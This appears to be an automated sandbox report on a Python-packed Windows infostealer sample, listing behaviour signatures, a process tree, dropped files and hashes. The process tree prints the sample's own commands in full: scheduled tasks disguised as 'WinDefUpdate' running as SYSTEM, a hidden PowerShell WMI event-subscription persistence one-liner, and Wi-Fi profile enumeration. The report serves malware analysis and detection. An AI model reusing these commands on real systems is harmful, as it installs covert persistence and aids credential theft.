Analysis

  • max time kernel
    151s
  • max time network
    157s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260618-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260618-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    20/06/2026, 03:14

General

  • Target
    RatC!Q.exe
  • Size 106.2MB
  • Sample260620-drpcbacz2r
  • SHA256 19f378aaa4bf54e7c98818386bbd9d3c135a6c5e51359967ad0ab60523658390
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Drops startup file 1 IoCs
  • Loads dropped DLL 64 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 2 IoCs
  • Contacts third-party web service commonly abused for C2 1 TTPs 6 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 4 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Modifies registry class 40 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 15 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 54 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\RatC!Q.exe
    "C:\Users\Admin\AppData\Local\Temp\RatC!Q.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5952
    • C:\Users\Admin\AppData\Local\Temp\RatC!Q.exe
      "C:\Users\Admin\AppData\Local\Temp\RatC!Q.exe"
      2⤵
      • Drops startup file
      • Loads dropped DLL
      • Adds Run key to start application
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2256
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "schtasks /Create /F /SC ONLOGON /RL HIGHEST /TN "WinDefUpdate" /TR "C:\Users\Admin\AppData\Roaming\WinDefUpdate.exe" /RU SYSTEM"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4516
        • C:\Windows\system32\schtasks.exe
          schtasks /Create /F /SC ONLOGON /RL HIGHEST /TN "WinDefUpdate" /TR "C:\Users\Admin\AppData\Roaming\WinDefUpdate.exe" /RU SYSTEM
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:3892
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "schtasks /Create /F /SC MINUTE /MO 60 /RL HIGHEST /TN "WinDefUpdateHourly" /TR "C:\Users\Admin\AppData\Roaming\WinDefUpdate.exe" /RU SYSTEM"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:680
        • C:\Windows\system32\schtasks.exe
          schtasks /Create /F /SC MINUTE /MO 60 /RL HIGHEST /TN "WinDefUpdateHourly" /TR "C:\Users\Admin\AppData\Roaming\WinDefUpdate.exe" /RU SYSTEM
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:5124
      • C:\Windows\System32\Wbem\wmic.exe
        wmic csproduct get uuid
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2888
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -NonInteractive -ExecutionPolicy Bypass -Command "$f=\"C:\Users\Admin\AppData\Roaming\WinDefUpdate.exe\";$wmi=Get-WMIObject -Namespace root\subscription -Class __EventFilter -Filter 'Name=\"DefFilter\"';if(!$wmi){$f2=([wmiclass]\"root\subscription:__EventFilter\").CreateInstance();$f2.Name=\"DefFilter\";$f2.QueryLanguage=\"WQL\";$f2.Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Minute=0\";$f2.Put();$c=([wmiclass]\"root\subscription:ActiveScriptEventConsumer\").CreateInstance();$c.Name=\"DefConsumer\";$c.ScriptingEngine=\"VBScript\";$c.ScriptText=\"Set o=CreateObject(\"\"WScript.Shell\"\"):o.Run \"\"\"C:\Users\Admin\AppData\Roaming\WinDefUpdate.exe\"\"\"\";$c.Put();$b=([wmiclass]\"root\subscription:__FilterToConsumerBinding\").CreateInstance();$b.Filter=$f2.__PATH;$b.Consumer=$c.__PATH;$b.Put()}"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:1216
      • C:\Windows\System32\Wbem\wmic.exe
        wmic csproduct get uuid
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:5476
      • C:\Windows\SYSTEM32\netsh.exe
        netsh wlan show profiles
        3⤵
        • Event Triggered Execution: Netsh Helper DLL
        • System Network Configuration Discovery: Wi-Fi Discovery
        PID:1480
  • C:\Windows\system32\sihost.exe
    sihost.exe
    1⤵
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:3216
    • C:\Windows\explorer.exe
      explorer.exe /LOADSAVEDWINDOWS
      2⤵
      • Boot or Logon Autostart Execution: Active Setup
      • Enumerates connected drives
      • Checks SCSI registry key(s)
      • Modifies Internet Explorer settings
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: GetForegroundWindowSpam
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of SetWindowsHookEx
      PID:1700
  • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
    "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:5064
  • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
    "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:3648

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        prep_Activatable Class_Hermes_perf.cache

        • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
        • Size 599B
        • SHA256 b536a3dae9ea5c69081f0491eed829e3b57e32401fdf49a63031bcd6b20e6fdb
        • MD5 SHA1 SHA512 TLSH

        MSVCP140.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI59522\PyQt5\Qt5\bin\MSVCP140.dll
        • Size 576KB
        • SHA256 88f55d86b50b0a7e55e71ad2d8f7552146ba26e927230daf2e26ad3a971973c5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSVCP140_1.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI59522\PyQt5\Qt5\bin\MSVCP140_1.dll
        • Size 30KB
        • SHA256 446c48c1224c289bd3080087fe15d6759416d64f4136addf30086abd5415d83f
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Qt5Core.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI59522\PyQt5\Qt5\bin\Qt5Core.dll
        • Size 5.7MB
        • SHA256 8d2ff4ce9096ddccc4f4cd62c2e41fc854cfd1b0d6e8d296645a7f5fd4ae565a
        • MD5 SHA1 SHA512 SSDEEP TLSH

        QtCore.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI59522\PyQt5\QtCore.pyd
        • Size 2.4MB
        • SHA256 d6e45fd8c3b3f93f52c4d1b6f9e3ee220454a73f80f65f3d70504bd55415ea37
        • MD5 SHA1 SHA512 SSDEEP TLSH

        sip.cp313-win_amd64.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI59522\PyQt5\sip.cp313-win_amd64.pyd
        • Size 117KB
        • SHA256 e63580748533698abdafaff1210f5bb0247b36ee987d0180076eaaa46245c0d2
        • MD5 SHA1 SHA512 SSDEEP TLSH

        VCRUNTIME140.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI59522\VCRUNTIME140.dll
        • Size 117KB
        • SHA256 052ad6a20d375957e82aa6a3c441ea548d89be0981516ca7eb306e063d5027f4
        • MD5 SHA1 SHA512 SSDEEP TLSH

        VCRUNTIME140_1.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI59522\VCRUNTIME140_1.dll
        • Size 48KB
        • SHA256 6a99bc0128e0c7d6cbbf615fcc26909565e17d4ca3451b97f8987f9c6acbc6c8
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _brotli.cp313-win_amd64.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI59522\_brotli.cp313-win_amd64.pyd
        • Size 836KB
        • SHA256 a7f83086a999a01db0ca8cba6d476b4aa74ec2f96292cf4e17446dd30c085c61
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _bz2.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI59522\_bz2.pyd
        • Size 83KB
        • SHA256 449058efc99fccb9e24d640084d845c78f3f86dd34c5c126cf69e523d6320d75
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _ctypes.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI59522\_ctypes.pyd
        • Size 130KB
        • SHA256 5c0d5082fba1a2a3eb8d5e23073be25164c19f21304b09cecaab340dc7198815
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _hashlib.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI59522\_hashlib.pyd
        • Size 63KB
        • SHA256 52f29aebe9886e830dedc363cd64eb53b6830d84b26e14f1b6faa655a0900b5d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _lzma.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI59522\_lzma.pyd
        • Size 155KB
        • SHA256 48f16b587c6faa44a9e073365b19599200b0f0a0ccb70121e76c2dac4ed53281
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _queue.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI59522\_queue.pyd
        • Size 34KB
        • SHA256 af8ac8ab8b39f53b5dc192fbf58ad704a709db34e69753b97b83d087202e3a36
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _socket.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI59522\_socket.pyd
        • Size 83KB
        • SHA256 bced17d6f081d81ea7cd92f1e071e38f8840e61ee0fe1524221b776bcfa78650
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _sqlite3.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI59522\_sqlite3.pyd
        • Size 126KB
        • SHA256 8cba8b163393162e4a689d44488410d43b1d1b0a907499d0f01dbccf9c4ac10e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _ssl.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI59522\_ssl.pyd
        • Size 177KB
        • SHA256 3301ff340d26495c95108199b67fdf3402742d13070af8b6bf4eb2e0c5e13781
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _wmi.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI59522\_wmi.pyd
        • Size 38KB
        • SHA256 ebd252d21af9c84128fca04c994093a5bd6ee857f1581f06f4026fdd6a2c40e0
        • MD5 SHA1 SHA512 SSDEEP TLSH

        base_library.zip

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI59522\base_library.zip
        • Size 1.3MB
        • SHA256 34cc1010312752bf79bf6db0781af1e6d320eec2e7656cc62829749fe77f31c6
        • MD5 SHA1 SHA512 SSDEEP TLSH

        cacert.pem

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI59522\certifi\cacert.pem
        • Size 284KB
        • SHA256 488ba960602bf07cc63f4ef7aec108692fec41820fc3328a8e3f3de038149aee
        • MD5 SHA1 SHA512 SSDEEP TLSH

        md.cp313-win_amd64.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI59522\charset_normalizer\md.cp313-win_amd64.pyd
        • Size 10KB
        • SHA256 76c8700ffc983bbec07468e354039b21e25e49e7c19f43d7343994c90d4bb7bf
        • MD5 SHA1 SHA512 SSDEEP TLSH

        md__mypyc.cp313-win_amd64.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI59522\charset_normalizer\md__mypyc.cp313-win_amd64.pyd
        • Size 122KB
        • SHA256 e9c308245fe01d33ef92c7026115a0a930fd865fbe1bfcefa91e76c6aa32a0b3
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libcrypto-3.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI59522\libcrypto-3.dll
        • Size 5.0MB
        • SHA256 ccfffddcd3defb8d899026298af9af43bc186130f8483d77e97c93233d5f27d7
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libffi-8.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI59522\libffi-8.dll
        • Size 38KB
        • SHA256 eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libssl-3.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI59522\libssl-3.dll
        • Size 776KB
        • SHA256 007142039f04d04e0ed607bda53de095e5bc6a8a10d26ecedde94ea7d2d7eefe
        • MD5 SHA1 SHA512 SSDEEP TLSH

        pyexpat.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI59522\pyexpat.pyd
        • Size 200KB
        • SHA256 554bbc65bfe8c19ba9bbd94f18977a8131109c6a4d64306778bd12250c2c5c56
        • MD5 SHA1 SHA512 SSDEEP TLSH

        python3.DLL

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI59522\python3.DLL
        • Size 69KB
        • SHA256 fdd54b6c495e9278e73d68203fff0c300e416e704852908cf5b06666cffead51
        • MD5 SHA1 SHA512 SSDEEP TLSH

        python313.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI59522\python313.dll
        • Size 5.8MB
        • SHA256 69fd86ea29370697c203f7e12830084f920f490766a8e3045af52c036a9ad529
        • MD5 SHA1 SHA512 SSDEEP TLSH

        select.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI59522\select.pyd
        • Size 31KB
        • SHA256 6393121130a3e85d0f6562948024d8614c4c144b84ab102af711c638344d1599
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Lorem ipsum.txt

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI59522\setuptools\_vendor\jaraco\text\Lorem ipsum.txt
        • Size 1KB
        • SHA256 37fedcffbf73c4eb9f058f47677cb33203a436ff9390e4d38a8e01c9dad28e0b
        • MD5 SHA1 SHA512 TLSH

        ucrtbase.dll

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI59522\ucrtbase.dll
        • Size 1.3MB
        • SHA256 2e5fb14b7bf8540278f3614a12f0226e56a7cc9e64b81cbd976c6fcf2f71cbfb
        • MD5 SHA1 SHA512 SSDEEP TLSH

        unicodedata.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI59522\unicodedata.pyd
        • Size 695KB
        • SHA256 071494856fdad0042964769aa2fb1de4ea95c2cfcbe27cc7132293c68d13d710
        • MD5 SHA1 SHA512 SSDEEP TLSH

        backend_c.cp313-win_amd64.pyd

        • Path C:\Users\Admin\AppData\Local\Temp\_MEI59522\zstandard\backend_c.cp313-win_amd64.pyd
        • Size 513KB
        • SHA256 e05f3f106d6a907d3402a9543dbd0bef6cc28dbb63377685ebd65af87bfb03d1
        • MD5 SHA1 SHA512 SSDEEP TLSH

        msociety_Admin_part1of1.zip

        • Path C:\Users\Admin\AppData\Local\Temp\msociety_Admin_part1of1.zip
        • Size 415KB
        • SHA256 049cf1361af0205af56e4c7a06cd42840a98c5eb13f0931b058e63a3bef58bcc
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/1216-1495-0x000001C8B0F40000-0x000001C8B0F62000-memory.dmp

        memory/2256-1298-0x00000178780D0000-0x0000017878154000-memory.dmp

        memory/2256-1276-0x00007FFDC3CB0000-0x00007FFDC3F13000-memory.dmp

        memory/5064-1361-0x000002DD946A0000-0x000002DD946C0000-memory.dmp

        memory/5064-1324-0x000002DD93D70000-0x000002DD93E70000-memory.dmp

        memory/5064-1309-0x000002DD801E0000-0x000002DD802E0000-memory.dmp

        memory/5064-1323-0x000002DD83950000-0x000002DD83970000-memory.dmp

        memory/5064-1308-0x000002DD801E0000-0x000002DD802E0000-memory.dmp

        memory/5064-1307-0x000002DD801E0000-0x000002DD802E0000-memory.dmp

        memory/5064-1326-0x000002DD83B90000-0x000002DD83BB0000-memory.dmp